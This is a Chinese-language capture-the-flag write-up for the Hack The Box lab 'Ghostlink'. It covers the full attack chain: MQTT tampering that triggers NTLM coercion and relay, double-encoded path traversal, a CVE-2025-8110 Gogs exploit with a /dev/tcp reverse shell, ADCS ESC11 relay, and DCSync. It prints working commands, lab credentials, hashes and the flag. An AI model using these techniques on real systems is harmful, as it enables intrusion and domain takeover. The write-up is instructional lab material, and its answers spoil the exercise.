Ghostlink HTB

靶机信息

项目
初始 IP 10.129.27.98 (重置后 10.129.54.100)
域名 ghostlink.htb
DC 主机名 dc01.ghostlink.htb
CA / SecureShare gpz-op26-secure.ghostlink.htb (172.16.20.10)
Gogs gpz-op26-toolkits.ghostlink.htb (172.16.20.20)
OS Windows Server (DC) + Linux (Gogs 容器)
难度 Hard

01.攻击机环境

阶段 机器 IP
前期 (Mac + VPN) 本地 MacBook + OpenVPN 10.10.16.245 (utun5)
后期 (Pwnbox) HTB 云 Pwnbox + SSH 10.10.15.71 (tun0)

攻击链全景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
MQTT 匿名订阅 (发现内部节点 & 健康检查机制)
|
MQTT 篡改健康检查 URL (NTLM 强制认证 svc_canary)
|
ntlmrelayx HTTP 中继 (获取 SecureShare 认证会话 SOCKS)
|
双重 URL 编码路径遍历 (NTUSER.DAT, RecentDocs, KeePass DB)
|
KeePass DB (Gogs 凭据 vroth, CVE-2025-8110 RCE, git shell)
|
Gogs DB hash (nvirelli 密码, 域用户立足点)
|
Chisel SOCKS (AD 枚举, 发现 ESC11: ICPR 未加密)
|
proxychains + ntlmrelayx RPC 中继 (DC01$ 证书)
|
certipy auth (DC01$ NTLM, DCSync Administrator, root.txt)

全部凭证汇总

用户 密码 / Hash 来源 权限
svc_canary NTLMv2 (不可破解) MQTT (NTLM 强制认证) SecureShare 应用访问
vroth mOo03jpsqx8JQYMBwvFP KeePass DB (db.kdbx) Gogs Web 登录
nvirelli u47YUclrDiwWxBheaSzI Gogs SQLite DB (hashcat) 域用户 + Gogs 本地用户
DC01$ 707cccd9bfc31d8507be6682448f670c ADCS ESC11 中继 (certipy auth) DC 机器账户
Administrator 8190e067f478002ddd63eb209b016696 DCSync 通过 DC01$ 域管理员

01.root.txt

1
802c7d0c831307fb116a248e19c9abda

一:信息搜集与 MQTT 入口

01.端口扫描

1
sudo nmap -sT -sV -sC -O -p 53,80,88,135,139,389,445,636,1883,3268,3269,5985 10.129.27.98

标准 Windows DC 端口之外,最引人注目的是 1883/tcp (MQTT)。在域控制器上运行 MQTT broker 极不寻常,这本身就是强烈信号:MQTT 承担了某种应用层集成角色。

02.MQTT 匿名枚举

1
mqttui -b mqtt://ghostlink.htb r "GhostProtocolZero/#"

不需要任何认证即可订阅所有主题。这个设计缺陷是整条攻击链的第一个关键突破口。

健康检查消息(周期性发布):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GhostProtocolZero/systems/node/repository/healthcheck
{
"node": "node-5",
"telemetry": {
"healthy": true,
"url": "gpz-op26-toolkits.ghostlink.htb/healthcheck",
"ip": "172.16.20.20"
}
}

GhostProtocolZero/systems/node/secureshare/healthcheck
{
"node": "node-6",
"telemetry": {
"healthy": true,
"url": "gpz-op26-secure.ghostlink.htb/healthcheck",
"ip": "172.16.20.10"
}
}

由此确认内部网络拓扑:

  • 172.16.20.10: SecureShare 应用(同时也是 ADCS CA)
  • 172.16.20.20: Gogs 代码托管
  • DC 作为反向代理,将外部请求路由到内部服务

03.Gogs 版本指纹

Gogs 页面源码中的资源哈希直接暴露了 commit:

1
<link rel="stylesheet" href="/css/gogs.min.css?v=5084b4a9b77a506f5e287e82e945e1c6882b827a">

对应版本 0.13.3,已知存在 CVE-2025-8110(认证后 RCE)。

04.反思:MQTT 的关键性

MQTT 在这个靶机中扮演了信息泄露的核心角色。开发者在设计健康检查机制时,只是监控内部节点状态,却没想到 url 字段可以被外部攻击者篡改,进而触发 NTLM 认证。任何接受外部输入并触发 HTTP 请求的机制,都是一枚潜在的 SSRF/NTLM coercion 炸弹。

二:MQTT 到 NTLM 强制认证与 HTTP 中继

01.原理

健康检查主题的 telemetry.url 字段会被后端定期访问。如果把 URL 改成攻击机的 HTTP 服务器地址,后端就会向攻击机发起 HTTP 请求,带上 Windows 集成认证的 NTLM 凭据。

02.攻击步骤

步骤一:启动 ntlmrelayx HTTP 中继 + SOCKS

1
2
3
4
ntlmrelayx.py -t http://gpz-op26-secure.ghostlink.htb \
--http-port 8888 \
--no-smb-server --no-rdp-server --no-mssql-server --no-rpc-server \
--keep-relaying --socks
  • –keep-relaying: 允许同一凭据多次中继
  • –socks: 启动 SOCKS 代理,让浏览器可以通过中继后的会话访问目标应用

步骤二:篡改 MQTT 健康检查

1
2
3
mqttui -b mqtt://ghostlink.htb publish -r \
"GhostProtocolZero/systems/node/secureshare/healthcheck" \
'{"timestamp":"2026-03-03-09:26:21","node":"node-6","telemetry":{"healthy":"true","url":"http://10.10.16.245:8888/","lastCheckSecAgo":45,"responseCode":"200","ip":"172.16.20.10"}}'

步骤三:中继成功

后端 svc_canary 用户向 ntlmrelayx 发起 NTLM 认证,ntlmrelayx 将凭据中继到 SecureShare 应用。成功后在本地启动 SOCKS 代理(127.0.0.1:1080)。浏览器配置 SOCKS 代理后即可以 svc_canary 身份访问 SecureShare。

03.反思:为什么不是 Responder

Responder 只能捕获 NTLMv2 hash,而 svc_canary 的密码强度较高,不可破解。NTLM 中继才是正确的方向——与其破解密码,不如直接’借用’认证。

三:双重 URL 编码路径遍历到 KeePass

01.漏洞原理

SecureShare 是一个 .NET 应用,下载端点 /api/download/{hash} 存在双重 URL 编码路径遍历:

1
2
3
4
// 伪代码
string hash = HttpUtility.UrlDecode(text); // 应用层解码
string path2 = Path.Combine(uploadsPath, hash); // 直接拼接
FileStream fileStream = File.OpenRead(path2); // 读取文件

关键点:

  1. IIS 在请求到达应用前会做第一次 URL 解码
  2. 应用代码再调用 UrlDecode() 做第二次解码
  3. Path.Combine() 没有校验路径是否逃逸出 uploads

所以 %252e%252e%255c 经过 IIS 变成 %2e%2e%5c,经过应用层变成 ..\。

02.UNC 路径扩展

Windows 的 Path.Combine() 最危险的行为:接受绝对路径和 UNC 路径。即使 base path 是 uploads,传入 \127.0.0.1\C$... 也会完全忽略 base path,直接读取任意文件。

1
2
3
# UNC 路径 LFI(双重编码)
curl --socks5 127.0.0.1:1080 \
"http://gpz-op26-secure.ghostlink.htb/api/download/%255c%255c127.0.0.1%255cC$%255cWindows%255cDebug%255cNetSetup.log"

确认了主机名为 GPZ-OP26-SECURE,加入 ghostlink.htb 域。

03.NTUSER.DAT 到 KeePass

从 svc_canary 的注册表配置单元开始:

1
2
3
4
5
6
7
# 下载 NTUSER.DAT
curl --socks5 127.0.0.1:1080 \
"http://gpz-op26-secure.ghostlink.htb/api/download/%255c%255c127.0.0.1%255cC$%255cUsers%255csvc_canary%255cNTUSER.DAT" \
-o ntuser.dat

# 分析 RecentDocs
regripper -r ntuser.dat -a | grep -i recent -A 3 -B 3

输出揭示了关键线索:

1
2
3
RecentDocs\.zip
MRUListEx = 0
0 = db.zip

这是一个经典的 shellbag / RecentDocs 取证思路。用户最近打开的 .zip 文件被记录在注册表中,即使文件本身不直接可读。

路径链:

  1. NTUSER.DAT 到 RecentDocs.zip 到 db.zip
  2. db.zip.lnk (快捷方式) 揭示实际路径 C:\Users\svc_canary\Documents\Operations\Management\db.zip
  3. db.zip 到 db.kdbx + .key.keyx (KeePass 数据库 + 密钥文件)

KeePass 数据库的回收站中包含 passpol.pdf(域密码策略:最小 20 字符),有效条目中有 vroth 的 Gogs 凭据。

04.反思:LFI 的深度利用

LFI 本身不难找到——双重编码路径遍历是常见的 .NET + IIS 组合漏洞。真正难的是’读什么’。PowerShell 历史、配置文件、DLL 源码都读了,但都没有直接凭据。NTUSER.DAT 这个思路才是真正的转折点——它不仅给了文件路径线索,更是利用了 Windows 取证分析的方法论。日常渗透中,用户注册表配置单元往往被忽视,但它包含 RecentDocs、TypedPaths、RunMRU 等极其丰富的用户行为数据。

四:Gogs CVE-2025-8110 RCE

01.漏洞机制

CVE-2025-8110 的核心原理:

  1. 创建 Git 仓库,放入指向 .git/config 的 symlink
  2. 通过 Gogs API 更新 symlink 内容
  3. Gogs 在更新时没有正确解析 symlink 目标,导致覆盖了仓库的实际 .git/config
  4. 攻击者在 .git/config 中注入 sshCommand
  5. 当 Gogs 执行任何 git 操作(clone/push/pull)时,sshCommand 被执行
1
2
[core]
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.15.71/6666 0>&1' #

02.PoC 执行

1
python3 poc.py -u http://gpz-op26-toolkits.ghostlink.htb -lh 10.10.15.71 -lp 6666

以 git 用户身份获得反向 shell,工作目录在 Gogs 的仓库存储路径。

03.Gogs DB 到 nvirelli

从 gogs.db (SQLite) 提取用户哈希:

1
sqlite3 gogs.db "SELECT name,salt,passwd FROM user"

转换为 hashcat 格式后,用裁剪版 rockyou(>=20 字符,匹配 KeePass 中发现的密码策略)破解:

1
2
grep -E '.{20,}$' /usr/share/wordlists/rockyou.txt > trimmed.txt
hashcat -m 10900 hash.txt trimmed.txt

得到 nvirelli 密码,该用户同时是 Linux 本地用户和域用户。

04.反思:Gogs RCE 的坑

  1. /dev/tcp 不可靠:Linux 容器可能未启用 bash 的 /dev/tcp 虚拟文件系统。备选方案包括 nc -e /bin/sh(需 nc 支持 -e)或 Python 反向 shell。
  2. post-commit hook 不触发:Gogs 使用 bare repository 操作,post-commit hook 不会执行。
  3. PoC 的复用性问题:旧 session 的 poisoned repo 会持续触发命令执行(curl 回连确认),但新创建的 repo 的 symlink 有时不会被 overwrite。这说明触发条件可能受仓库状态影响。

五:ADCS ESC11 域控接管

01.AD 枚举确认漏洞

通过 nvirelli 域用户 + chisel SOCKS 代理在内网枚举:

1
2
3
4
proxychains -q certipy-ad find \
-u 'nvirelli@ghostlink.htb' -p 'u47YUclrDiwWxBheaSzI' \
-dc-host dc01.ghostlink.htb -ns 10.129.54.100 \
-dns-tcp -timeout 10 -vulnerable -stdout

发现:

  • CA 名称:ghostlink-GPZ-OP26-SECURE-CA
  • CA 服务器:gpz-op26-secure.ghostlink.htb (172.16.20.10)
  • ESC8:Web Enrollment 端点启用 HTTP(可通过 HTTP 中继申请证书)
  • ESC11:ICPR (RPC) 请求未强制加密

02.ESC11 存在的判断依据

在直接假设 ESC11 之前,通过以下证据链确认:

  1. CA 与 SecureShare 共享主机(172.16.20.10):MQTT 健康检查和 certipy 枚举都确认了这一点
  2. certipy-ad find 的扫描结果明确标注 ESC11 漏洞:ICPR 的 EnforceEncryption 未启用
  3. DomainController 模板存在且允许机器账户注册:DC 机器账户 (DC01$) 可以申请
  4. nvirelli 有 SMB 认证能力:该域用户可以通过 SMB 协议向 DC 发起 RPC 调用(coercer 验证通过)

ESC11 的核心:ADCS 的 ICPR (ICertPassage Remote) 协议用于远程证书请求。当 IF_ENFORCEENCRYPTION 标志未设置时,RPC 通信以明文进行。攻击者可以通过 NTLM 中继,将 DC 的机器账户认证中继到 CA,以 DC 身份申请 DomainController 模板证书。

03.Chisel 隧道与 SOCKS

由于 CA 在内部网络(172.16.20.10),需要通过 Gogs 机器做跳板:

1
2
3
4
5
# Pwnbox 上启动 chisel server
chisel server -p 9999 --reverse

# Gogs shell 中启动 chisel client,建立反向隧道 + SOCKS
/tmp/ch client 10.10.15.71:9999 R:10445:172.16.20.10:445 R:1080:socks &

端口映射:

  • Pwnbox:10445 到 CA:445(SMB,用于直接端口转发测试)
  • Pwnbox:1080 到 SOCKS5 代理(用于 proxychains)

04.核心踩坑:SOCKS vs 直接端口转发

失败的尝试(一):certipy-ad relay + chisel 端口转发

1
2
3
4
5
certipy-ad relay \
-target rpc://127.0.0.1:10445 \
-ca "ghostlink-GPZ-OP26-SECURE-CA" \
-template DomainController \
-interface 10.10.15.71

结果:certipy relay 输出空白,无任何连接日志。tcpdump 确认 DC 的 SYN 包到达了 Pwnbox 445,但 certipy 完全没有响应。

诊断:

  • 用 Python 简单 TCP listener 验证:DC 确实连接到了 445,发送了空数据后断开
  • 这意味着 certipy 的 SMB server 实现没有正确处理 DC 发起的 SMB 握手

失败的尝试(二):ntlmrelayx + chisel 端口转发

1
2
3
4
5
6
sudo ntlmrelayx.py \
-t rpc://127.0.0.1:10445 \
-rpc-mode ICPR \
-icpr-ca-name "ghostlink-GPZ-OP26-SECURE-CA" \
--template DomainController \
-smb2support -ip 10.10.15.71

结果:

1
2
[*] (RPC): Received connection from 10.129.54.100, attacking target rpc://127.0.0.1:10445
[-] (RPC): Negotiating NTLM with rpc://127.0.0.1:10445 failed.

DC 连接成功,入站 SMB 握手完成,但在将 NTLM 令牌中继到 CA 时失败。

根因分析:

chisel 的原始 TCP 端口转发 (R:10445:172.16.20.10:445) 在 SMB 协议层面存在问题。SMB 的 NTLMSSP 协商是一个多轮交互过程,涉及 Type 1 / Type 2 / Type 3 消息的精确时序。chisel 的 WebSocket 隧道 + TCP 转发在这种场景下引入了微妙的时序偏差或数据包分片问题,导致 NTLM 协商在第三阶段失败(STATUS_LOGON_FAILURE 或连接中断)。

成功方案:proxychains + ntlmrelayx + chisel SOCKS

1
2
3
4
5
6
7
8
9
10
11
12
13
# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080

# 启动中继
sudo proxychains -q ntlmrelayx.py \
-t rpc://172.16.20.10 \
-rpc-mode ICPR \
-icpr-ca-name "ghostlink-GPZ-OP26-SECURE-CA" \
--template DomainController \
-smb2support \
-ip 10.10.15.71 \
-l /tmp/relay_loot

关键差异:

  • 目标地址从 127.0.0.1:10445 改为 172.16.20.10(直接通过 SOCKS 解析)
  • 出站流量走 SOCKS5 而不是原始 TCP 转发
  • SOCKS 提供了标准的 TCP 流抽象,SMB 协议在 SOCKS 上运行稳定

输出:

1
2
3
4
5
6
7
[*] (RPC): Received connection from 10.129.54.100, attacking target rpc://172.16.20.10
[*] (RPC): Authenticating connection from GHOSTLINK/DC01$@10.129.54.100 against rpc://172.16.20.10 SUCCEED [1]
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 [1] -> Generating CSR...
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 [1] -> CSR generated!
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 [1] -> Getting certificate...
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 [1] -> Successfully requested certificate
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 [1] -> Writing PKCS#12 certificate to /tmp/relay_loot/DC01.pfx

教训:

对于 SMB/NTLM 中继场景,SOCKS 代理优于原始 TCP 端口转发。这不是理论推断,而是实战验证。chisel 的 R:port:host:port 模式适合简单的 HTTP/TCP 连接,但 SMB 协议的复杂协商过程需要更可靠的 TCP 层抽象。如果使用 SSH 隧道 (-L/-R),可能也会有类似问题;sshuttle 或 SOCKS 是这类场景的更好选择。

隧道技术选型对比:

1
2
3
4
5
                    SMB 中继稳定性
SOCKS (proxychains) ================ 最稳定
SSH 隧道 (-L/-R) ============ 较稳定
chisel port forward ====== 不稳定(SMB 场景)
直接 TCP 连接 ================ 基准

05.DC 强制认证 (Coercion)

1
2
3
4
5
coercer coerce \
-u nvirelli -p "u47YUclrDiwWxBheaSzI" \
-d ghostlink.htb --dc-ip 10.129.54.100 \
-t 10.129.54.100 -l 10.10.15.71 \
--always-continue

MS-RPRN (打印机服务) 的 RpcRemoteFindFirstPrinterChangeNotification 方法强制 DC 向攻击机发起 SMB 连接。

注意:coercer 输出 NO_AUTH_RECEIVED 不代表 DC 没有连接。这个状态是 coercer 自身的判断,在某些情况下(尤其是网络延迟或 SMB 握手慢时)可能出现假阴性。应以 ntlmrelayx 的日志为准。

06.PFX 到 DC01$ NTLM

1
2
3
4
5
6
# 时间同步(Kerberos 要求)
sudo ntpdate -u 10.129.54.100

certipy-ad auth -pfx /tmp/relay_loot/DC01.pfx \
-dc-ip 10.129.54.100 -domain ghostlink.htb \
-username "DC01$"

输出:

1
2
[*] Got hash for 'dc01$@ghostlink.htb':
aad3b435b51404eeaad3b435b51404ee:707cccd9bfc31d8507be6682448f670c

07.DCSync 到 Administrator

1
2
3
secretsdump.py -hashes :707cccd9bfc31d8507be6682448f670c \
-just-dc-user Administrator \
"ghostlink.htb/DC01\$@10.129.54.100"

DC 机器账户拥有 DS-Replication-Get-Changes 权限,可以执行 DCSync 攻击,导出任意域用户的哈希。

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8190e067f478002ddd63eb209b016696:::

08.Evil-WinRM 到 root.txt

1
2
3
echo "type C:\Users\Administrator\Desktop\root.txt" | \
evil-winrm -i 10.129.54.100 -u administrator \
-H 8190e067f478002ddd63eb209b016696
1
802c7d0c831307fb116a248e19c9abda

六:全面复盘与踩坑全景

01.第一轮失败原因分析

问题 现象 根因 教训
445 入站不通 DC 不回连 445,tcpdump 零 SYN 包 本地 Mac 的 CuteCloud/FlClash 代理拦截了 445 入站流量。即使关闭代理,路由表可能仍残留 渗透前清理所有代理软件,ip route 检查,或直接用 Pwnbox
certipy relay 无响应 certipy 收到连接但不处理 SMB certipy relay 的 SMB server 实现可能与 DC 的 SMB 版本不兼容 certipy 适合简单场景;生产级 SMB 中继用 impacket/ntlmrelayx
chisel TCP 转发不稳定 NTLM relay 协商失败 chisel 原始端口转发对 SMB 多轮协商支持差 SOCKS 优于 TCP forward
coercer 假阴性 NO_AUTH_RECEIVED 但 DC 确实连接了 coercer 的超时判断逻辑与 ntlmrelayx 的实际握手不同步 以 relay 端日志为准
nc stdin 交互问题 反向 shell 拿到但无法输入命令 nc 的 stdin 是 /dev/null 或 pipe 未正确打开 用 screen + stuff 或 Python listener 代替裸 nc

02.Pwnbox 的救场

本地 Mac + VPN 的方式在入站 445 遇到致命问题后,切换到 HTB Pwnbox 解决了核心连通性问题:

  1. Pwnbox 在 HTB 云内,与靶机同属 VPN 网络,入站 445 无拦截
  2. 预装了完整工具链(impacket, certipy, chisel, coercer, hashcat)
  3. SSH 控制 + screen 多会话管理,比以往的单终端操作高效得多

03.工具链关键技巧

  1. screen + hardcopy + stuff:在无 TTY 的反向 shell 中,这是唯一可靠的交互方式
  2. proxychains -q 模式:静默模式避免污染 relay 输出
  3. ntlmrelayx –no-http-server –no-wcf-server –no-raw-server:减少端口冲突
  4. coercer –always-continue:即使第一个方法返回 NO_AUTH_RECEIVED 也继续尝试其他方法(MS-EFSR, MS-DFSNM 等)

04.靶机教育价值

Ghostlink 是一个设计出色的 Hard 难度靶机:

  • MQTT 不是隐藏入口:它就在 1883 端口,但需要攻击者理解发布-订阅模型
  • LFI 的难点不在于发现,而在于利用:读 NTUSER.DAT 需要 Windows 取证思维
  • ADCS ESC11 不是孤立漏洞:需要内网隧道 + NTLM 中继 + 强制认证的完整配合
  • 隧道技术是分水岭:SOCKS vs 端口转发的选择直接决定了最后一环的成败

05.一句话总结

如果你的 relay 一直 Negotiating NTLM failed,试试 SOCKS。

附录

1
2
3
4
5
6
Project/HackTheBox/Ghostlink/
poc.py # CVE-2025-8110 利用脚本
ntuser.dat # svc_canary 注册表配置单元
db.kdbx # KeePass 数据库
.key.keyx # KeePass 密钥文件
gogs.db # Gogs SQLite 数据库